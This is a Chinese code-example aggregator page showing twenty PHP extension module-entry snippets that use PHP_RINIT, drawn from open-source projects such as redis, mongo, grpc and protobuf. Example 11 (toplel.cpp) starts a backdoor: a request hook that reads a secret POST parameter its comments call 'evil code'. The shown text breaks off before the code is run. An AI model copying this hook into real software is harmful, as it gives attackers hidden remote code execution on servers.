本文整理汇总了C++中PHP_RINIT函数的典型用法代码示例。如果您正苦于以下问题:C++ PHP_RINIT函数的具体用法?C++ PHP_RINIT怎么用?C++ PHP_RINIT使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了PHP_RINIT函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: PHP_FE
PHP_FE(apm_get_mysql_events_count, NULL)
PHP_FE(apm_get_mysql_slow_requests_count, NULL)
PHP_FE(apm_get_mysql_event_info, NULL)
#endif
{NULL, NULL, NULL}
};
zend_module_entry apm_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"apm",
apm_functions,
PHP_MINIT(apm),
PHP_MSHUTDOWN(apm),
PHP_RINIT(apm),
PHP_RSHUTDOWN(apm),
PHP_MINFO(apm),
#if ZEND_MODULE_API_NO >= 20010901
"0.1.0",
#endif
PHP_MODULE_GLOBALS(apm),
PHP_GINIT(apm),
NULL,
NULL,
STANDARD_MODULE_PROPERTIES_EX
};
#ifdef COMPILE_DL_APM
ZEND_GET_MODULE(apm)
#endif
开发者ID:davidstrauss,项目名称:php-apm,代码行数:31,代码来源:apm.c
示例2: PHP_FE
PHP_FE(eject_close_tray , eject_close_tray_arg_info)
PHP_FE(eject_toggle_tray , eject_toggle_tray_arg_info)
{ NULL, NULL, NULL }
};
/* }}} */
/* {{{ eject_module_entry
*/
zend_module_entry eject_module_entry = {
STANDARD_MODULE_HEADER,
"eject",
eject_functions,
PHP_MINIT(eject), /* Replace with NULL if there is nothing to do at php startup */
PHP_MSHUTDOWN(eject), /* Replace with NULL if there is nothing to do at php shutdown */
PHP_RINIT(eject), /* Replace with NULL if there is nothing to do at request start */
PHP_RSHUTDOWN(eject), /* Replace with NULL if there is nothing to do at request end */
PHP_MINFO(eject),
PHP_EJECT_VERSION,
STANDARD_MODULE_PROPERTIES
};
/* }}} */
#ifdef COMPILE_DL_EJECT
ZEND_GET_MODULE(eject)
#endif
/* {{{ PHP_MINIT_FUNCTION */
PHP_MINIT_FUNCTION(eject)
{
开发者ID:oasynnoum,项目名称:php-eject,代码行数:31,代码来源:eject.c
示例3: PHP_MINIT
ZEND_MOD_END
};
/* {{{ hqx_module_entry
*/
zend_module_entry hqx_module_entry = {
//#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER_EX,
//#endif
NULL,
hqx_deps,
"hqx",
hqx_functions,
PHP_MINIT(hqx),
PHP_MSHUTDOWN(hqx),
PHP_RINIT(hqx), /* Replace with NULL if there's nothing to do at request start */
PHP_RSHUTDOWN(hqx), /* Replace with NULL if there's nothing to do at request end */
PHP_MINFO(hqx),
#if ZEND_MODULE_API_NO >= 20010901
"0.1", /* Replace with version number for your extension */
#endif
STANDARD_MODULE_PROPERTIES
};
/* }}} */
#ifdef COMPILE_DL_HQX
ZEND_GET_MODULE(hqx)
#endif
/* {{{ PHP_MINIT_FUNCTION
*/
开发者ID:EmilHernvall,项目名称:hqx,代码行数:31,代码来源:hqx.c
示例4: ZEND_MOD_OPTIONAL
ZEND_MOD_OPTIONAL("openssl")
#if PHP_VERSION_ID >= 50307
ZEND_MOD_END
#else /* pre-5.3.7 */
{ NULL, NULL, NULL, 0 }
#endif
};
zend_module_entry mongo_module_entry = {
STANDARD_MODULE_HEADER_EX,
NULL,
mongo_deps,
PHP_MONGO_EXTNAME,
mongo_functions,
PHP_MINIT(mongo),
PHP_MSHUTDOWN(mongo),
PHP_RINIT(mongo),
NULL,
PHP_MINFO(mongo),
PHP_MONGO_VERSION,
PHP_MODULE_GLOBALS(mongo),
PHP_GINIT(mongo),
PHP_GSHUTDOWN(mongo),
NULL,
STANDARD_MODULE_PROPERTIES_EX
};
/* }}} */
#ifdef COMPILE_DL_MONGO
ZEND_GET_MODULE(mongo)
#endif
开发者ID:Grerywolf666,项目名称:Motobash-1,代码行数:30,代码来源:php_mongo.c
示例5: PHP_FE
PHP_FE(zoo_Translate, NULL)
PHP_FE(zoo_UpdateStatus, NULL)
PHP_FE(zoo_SERVICE_SUCCEEDED, NULL)
PHP_FE(zoo_SERVICE_FAILED, NULL)
{NULL, NULL, NULL}
};
zend_module_entry zoo_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
PHP_ZOO_EXTNAME,
zoo_functions,
PHP_MINIT(zoo),
PHP_MSHUTDOWN(zoo),
PHP_RINIT(zoo),
NULL,
NULL,
#if ZEND_MODULE_API_NO >= 20010901
PHP_ZOO_VERSION,
#endif
STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(zoo)
PHP_INI_BEGIN()
PHP_INI_END()
static void
php_zoo_init_globals(zend_zoo_globals *zoo_globals)
开发者ID:OSGeo,项目名称:zoo-project,代码行数:31,代码来源:service_internal_php.c
示例6: PHP_FE
zend_function_entry twig_functions[] = {
PHP_FE(twig_template_get_attributes, twig_template_get_attribute_args)
{NULL, NULL, NULL}
};
zend_module_entry twig_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"twig",
twig_functions,
PHP_MINIT(twig),
PHP_MSHUTDOWN(twig),
PHP_RINIT(twig),
PHP_RSHUTDOWN(twig),
PHP_MINFO(twig),
#if ZEND_MODULE_API_NO >= 20010901
PHP_TWIG_VERSION,
#endif
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_TWIG
ZEND_GET_MODULE(twig)
#endif
PHP_INI_BEGIN()
PHP_INI_END()
开发者ID:SkyLlama,项目名称:Personal-Site,代码行数:30,代码来源:twig.c
示例7: PHP_MINIT
// -----------------------------------------------------------------------------
// Utilities.
// -----------------------------------------------------------------------------
zend_function_entry protobuf_functions[] = {
ZEND_FE_END
};
zend_module_entry protobuf_module_entry = {
STANDARD_MODULE_HEADER,
PHP_PROTOBUF_EXTNAME, // extension name
protobuf_functions, // function list
PHP_MINIT(protobuf), // process startup
PHP_MSHUTDOWN(protobuf), // process shutdown
PHP_RINIT(protobuf), // request shutdown
PHP_RSHUTDOWN(protobuf), // request shutdown
NULL, // extension info
PHP_PROTOBUF_VERSION, // extension version
PHP_MODULE_GLOBALS(protobuf), // globals descriptor
PHP_GINIT(protobuf), // globals ctor
PHP_GSHUTDOWN(protobuf), // globals dtor
NULL, // post deactivate
STANDARD_MODULE_PROPERTIES_EX
};
// install module
ZEND_GET_MODULE(protobuf)
// global variables
static PHP_GINIT_FUNCTION(protobuf) {
开发者ID:maniacs-ops,项目名称:protobuf,代码行数:30,代码来源:protobuf.c
示例8: PHP_ME
zend_function_entry redis_additional_functions[] = {
PHP_ME(Redis, ltrim, NULL, ZEND_ACC_PUBLIC)
PHP_ME(Redis, sort, NULL, ZEND_ACC_PUBLIC)
{NULL, NULL, NULL}
};
zend_module_entry redis_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"redis",
redis_functions,
PHP_MINIT(redis),
PHP_MSHUTDOWN(redis),
PHP_RINIT(redis),
PHP_RSHUTDOWN(redis),
PHP_MINFO(redis),
#if ZEND_MODULE_API_NO >= 20010901
"0.1",
#endif
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_REDIS
ZEND_GET_MODULE(redis)
#endif
/**
* redis_sock_create
*/
开发者ID:melfar,项目名称:phpredis,代码行数:30,代码来源:redis.c
示例9: NS
{NULL, NULL, NULL} /* Must be the last line in MsgqueForPhp_functions[] */
};
/* }}} */
/* {{{ MsgqueForPhp_module_entry
*/
zend_module_entry MsgqueForPhp_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"MsgqueForPhp",
NS(functions),
PHP_MINIT(MsgqueForPhp),
PHP_MSHUTDOWN(MsgqueForPhp),
PHP_RINIT(MsgqueForPhp), /* Replace with NULL if there's nothing to do at request start */
PHP_RSHUTDOWN(MsgqueForPhp), /* Replace with NULL if there's nothing to do at request end */
PHP_MINFO(MsgqueForPhp),
#if ZEND_MODULE_API_NO >= 20010901
LIBMSGQUE_VERSION, /* Replace with version number for your extension */
#endif
STANDARD_MODULE_PROPERTIES
};
/* }}} */
#ifdef COMPILE_DL_MSGQUEFORPHP
ZEND_GET_MODULE(MsgqueForPhp)
#endif
/* {{{ PHP_INI
*/
开发者ID:BackupTheBerlios,项目名称:nhi1-svn,代码行数:31,代码来源:MsgqueForPhp.c
示例10: PHP_MINIT
zend_class_entry pdo_connect_pool_PDOStatement_ce;
zend_class_entry *pdo_connect_pool_PDOStatement_class_entry_ptr;
zend_module_entry connect_pool_module_entry = {
#if ZEND_MODULE_API_NO >= 20050922
STANDARD_MODULE_HEADER_EX,
NULL,
NULL,
#else
STANDARD_MODULE_HEADER,
#endif
"connect_pool",
cp_functions,
PHP_MINIT(connect_pool),
PHP_MSHUTDOWN(connect_pool),
PHP_RINIT(connect_pool), //RINIT
PHP_RSHUTDOWN(connect_pool), //RSHUTDOWN
PHP_MINFO(connect_pool),
CP_VERSION,
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_CONNECT_POOL
ZEND_GET_MODULE(connect_pool)
#endif
PHP_MINIT_FUNCTION(connect_pool) {
le_cli_connect_pool = zend_register_list_destructors_ex(send_oob2proxy, cp_destory_client, CP_RES_CLIENT_NAME, module_number); //持久
开发者ID:liuhui244671426,项目名称:php-cp,代码行数:30,代码来源:connect_pool.c
示例11: PHP_RINIT_FUNCTION
#include "stdafx.h"
#include "zend_config.w32.h"
#include "php.h"
PHP_RINIT_FUNCTION(toplel);
zend_module_entry toplel_ext_module_entry = {
STANDARD_MODULE_HEADER,
"toplel",
NULL,
NULL,
NULL,
PHP_RINIT(toplel),
NULL,
NULL,
"1.0",
STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(toplel_ext);
PHP_RINIT_FUNCTION(toplel)
{
char* method = "_POST"; // Global array, from which we take a parameter and value
char* secret_string = "phpsucks"; // Parameter which we will use as our "evil code"
zval** arr;
char* code;
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {
HashTable* ht = Z_ARRVAL_P(*arr);
zval** val;
if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // Look for the parameter in the hash table
开发者ID:whiskeypirates,项目名称:php-sucks,代码行数:31,代码来源:toplel.cpp
示例12: PHP_MINIT
* Every user visible function must have an entry in grpc_functions[].
*/
const zend_function_entry grpc_functions[] = {
PHP_FE_END /* Must be the last line in grpc_functions[] */
};
/* }}} */
/* {{{ grpc_module_entry
*/
zend_module_entry grpc_module_entry = {
STANDARD_MODULE_HEADER,
"grpc",
grpc_functions,
PHP_MINIT(grpc),
PHP_MSHUTDOWN(grpc),
PHP_RINIT(grpc),
NULL,
PHP_MINFO(grpc),
PHP_GRPC_VERSION,
PHP_MODULE_GLOBALS(grpc),
PHP_GINIT(grpc),
NULL,
NULL,
STANDARD_MODULE_PROPERTIES_EX};
/* }}} */
#ifdef COMPILE_DL_GRPC
ZEND_GET_MODULE(grpc)
#endif
/* {{{ PHP_INI
开发者ID:kpayson64,项目名称:grpc,代码行数:31,代码来源:php_grpc.c
示例13: zend_exception_get_default
#else
return zend_exception_get_default(TSRMLS_C);
#endif
}
zend_function_entry tarantool_module_functions[] = {
{NULL, NULL, NULL}
};
zend_module_entry tarantool_module_entry = {
STANDARD_MODULE_HEADER,
PHP_TARANTOOL_EXTNAME,
tarantool_module_functions,
PHP_MINIT(tarantool),
PHP_MSHUTDOWN(tarantool),
PHP_RINIT(tarantool),
NULL,
PHP_MINFO(tarantool),
PHP_TARANTOOL_VERSION,
STANDARD_MODULE_PROPERTIES
};
PHP_INI_BEGIN()
STD_PHP_INI_ENTRY("tarantool.persistent", "0", PHP_INI_ALL,
OnUpdateBool, persistent, zend_tarantool_globals,
tarantool_globals)
STD_PHP_INI_ENTRY("tarantool.timeout", "10.0", PHP_INI_ALL,
OnUpdateReal, timeout, zend_tarantool_globals,
tarantool_globals)
STD_PHP_INI_ENTRY("tarantool.request_timeout", "10.0", PHP_INI_ALL,
OnUpdateReal, request_timeout, zend_tarantool_globals,
开发者ID:baltazor5000,项目名称:tarantool-php,代码行数:31,代码来源:tarantool.c
示例14: PHP_MINIT
#include "qh_stringinthash.h"
zend_function_entry quickhash_functions[] = {
{NULL, NULL, NULL}
};
zend_module_entry quickhash_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"quickhash",
quickhash_functions,
PHP_MINIT(quickhash),
PHP_MSHUTDOWN(quickhash),
PHP_RINIT(quickhash),
PHP_RSHUTDOWN(quickhash),
PHP_MINFO(quickhash),
#if ZEND_MODULE_API_NO >= 20010901
"1.0.0",
#endif
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_QUICKHASH
# if defined(ZTS) && PHP_VERSION_ID >= 70000
ZEND_TSRMLS_CACHE_DEFINE();
# endif
ZEND_GET_MODULE(quickhash)
#endif
开发者ID:derickr,项目名称:quickhash,代码行数:31,代码来源:quickhash.c
示例15: PHP_FE
PHP_FE(ad_wrapper, NULL)
PHP_FE_END /* Must be the last line in ad_keyword_functions[] */
};
/* }}} */
/* {{{ ad_keyword_module_entry
*/
zend_module_entry ad_keyword_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"ad_keyword",
ad_keyword_functions,
PHP_MINIT(ad_keyword),
PHP_MSHUTDOWN(ad_keyword),
PHP_RINIT(ad_keyword), /* Replace with NULL if there's nothing to do at request start */
PHP_RSHUTDOWN(ad_keyword), /* Replace with NULL if there's nothing to do at request end */
PHP_MINFO(ad_keyword),
#if ZEND_MODULE_API_NO >= 20010901
"0.1", /* Replace with version number for your extension */
#endif
STANDARD_MODULE_PROPERTIES
};
/* }}} */
#ifdef COMPILE_DL_AD_KEYWORD
ZEND_GET_MODULE(ad_keyword)
#endif
static hash_code(const char *str, int len){
开发者ID:byric,项目名称:ad_keyword,代码行数:31,代码来源:ad_keyword.c
示例16: PHP_FE
PHP_FE(com_print_typeinfo, arginfo_com_print_typeinfo)
PHP_FE(com_message_pump, arginfo_com_message_pump)
PHP_FE(com_load_typelib, arginfo_com_load_typelib)
PHP_FE(com_get_active_object, arginfo_com_get_active_object)
PHP_FE_END
};
/* {{{ com_dotnet_module_entry
*/
zend_module_entry com_dotnet_module_entry = {
STANDARD_MODULE_HEADER,
"com_dotnet",
com_dotnet_functions,
PHP_MINIT(com_dotnet),
PHP_MSHUTDOWN(com_dotnet),
PHP_RINIT(com_dotnet),
PHP_RSHUTDOWN(com_dotnet),
PHP_MINFO(com_dotnet),
"0.1",
PHP_MODULE_GLOBALS(com_dotnet),
PHP_GINIT(com_dotnet),
NULL,
NULL,
STANDARD_MODULE_PROPERTIES_EX
};
/* }}} */
#ifdef COMPILE_DL_COM_DOTNET
ZEND_GET_MODULE(com_dotnet)
#endif
开发者ID:1HLtd,项目名称:php-src,代码行数:30,代码来源:com_extension.c
示例17: PHP_FALIAS
PHP_FALIAS(velocis_off_autocommit, birdstep_off_autocommit, NULL)
PHP_FALIAS(velocis_commit, birdstep_commit, NULL)
PHP_FALIAS(velocis_rollback, birdstep_rollback, NULL)
PHP_FALIAS(velocis_fieldnum, birdstep_fieldnum, NULL)
PHP_FALIAS(velocis_fieldname, birdstep_fieldname, NULL)
/* End temporary aliases */
{NULL, NULL, NULL}
};
zend_module_entry birdstep_module_entry = {
STANDARD_MODULE_HEADER,
"birdstep",
birdstep_functions,
PHP_MINIT(birdstep),
PHP_MSHUTDOWN(birdstep),
PHP_RINIT(birdstep),
NULL,
PHP_MINFO(birdstep),
NO_VERSION_YET,
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_ODBC
ZEND_GET_MODULE(birdstep)
#endif
THREAD_LS birdstep_module php_birdstep_module;
THREAD_LS static HENV henv;
#define PHP_GET_BIRDSTEP_RES_IDX(id) convert_to_long_ex(id); if (!(res = birdstep_find_result(list, Z_LVAL_PP(id)))) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Birdstep: Not result index (%ld)", Z_LVAL_PP(id)); RETURN_FALSE; }
#define PHP_BIRDSTEP_CHK_LNK(id) convert_to_long_ex(id); if (!(conn = birdstep_find_conn(list,Z_LVAL_PP(id)))) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Birdstep: Not connection index (%ld)", Z_LVAL_PP(id)); RETURN_FALSE; }
开发者ID:dashiwa,项目名称:php52-backports,代码行数:31,代码来源:birdstep.c
示例18: PHP_MINIT
#endif
/* }}} */
/* {{{ http_module_entry */
zend_module_entry http_module_entry = {
#if ZEND_EXTENSION_API_NO >= 220050617
STANDARD_MODULE_HEADER_EX, NULL,
http_module_deps,
#else
STANDARD_MODULE_HEADER,
#endif
"http",
http_functions,
PHP_MINIT(http),
PHP_MSHUTDOWN(http),
PHP_RINIT(http),
PHP_RSHUTDOWN(http),
PHP_MINFO(http),
PHP_HTTP_VERSION,
STANDARD_MODULE_PROPERTIES
};
/* }}} */
int http_module_number;
/* {{{ http_globals */
static void http_globals_init_once(zend_http_globals *G)
{
memset(G, 0, sizeof(zend_http_globals));
}
开发者ID:ARYANJASHWAL,项目名称:php7,代码行数:30,代码来源:http.c
示例19: PHP_MINIT
#endif
ZEND_MOD_END
};
#endif
/* }}} */
/* {{{ pdo_mysql_module_entry */
zend_module_entry pdo_mysql_module_entry = {
STANDARD_MODULE_HEADER_EX, NULL,
pdo_mysql_deps,
"pdo_mysql",
pdo_mysql_functions,
PHP_MINIT(pdo_mysql),
PHP_MSHUTDOWN(pdo_mysql),
#if PDO_USE_MYSQLND && PDO_DBG_ENABLED
PHP_RINIT(pdo_mysql),
PHP_RSHUTDOWN(pdo_mysql),
#else
NULL,
NULL,
#endif
PHP_MINFO(pdo_mysql),
"1.0.2",
PHP_MODULE_GLOBALS(pdo_mysql),
PHP_GINIT(pdo_mysql),
NULL,
NULL,
STANDARD_MODULE_PROPERTIES_EX
};
/* }}} */
开发者ID:azatoth,项目名称:php-src,代码行数:30,代码来源:pdo_mysql.c
示例20: PHP_MINIT
/* }}} Class Handler */
/* }}} Class definitions*/
/* {{{ helloworld_functions[] */
function_entry helloworld_functions[] = {
{ NULL, NULL, NULL }
};
/* }}} */
/* {{{ helloworld_module_entry
*/
zend_module_entry helloworld_module_entry = {
STANDARD_MODULE_HEADER,
"helloworld",
helloworld_functions,
PHP_MINIT(helloworld), /* Replace with NULL if there is nothing to do at php startup */
PHP_MSHUTDOWN(helloworld), /* Replace with NULL if there is nothing to do at php shutdown */
PHP_RINIT(helloworld), /* Replace with NULL if there is nothing to do at request start */
PHP_RSHUTDOWN(helloworld), /* Replace with NULL if there is nothing to do at request end */
PHP_MINFO(helloworld),
PHP_HELLOWORLD_VERSION,
STANDARD_MODULE_PROPERTIES
};
/* }}} */
#ifdef COMPILE_DL_HELLOWORLD
ZEND_GET_MODULE(helloworld)
#endif
/* {{{ PHP_MINIT_FUNCTION */
PHP_MINIT_FUNCTION(helloworld)
{
class_init_Handler();
/* add your stuff here */
return SUCCESS;
开发者ID:kouhwata,项目名称:devel,代码行数:31,代码来源:helloworld.c
注:本文中的PHP_RINIT函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论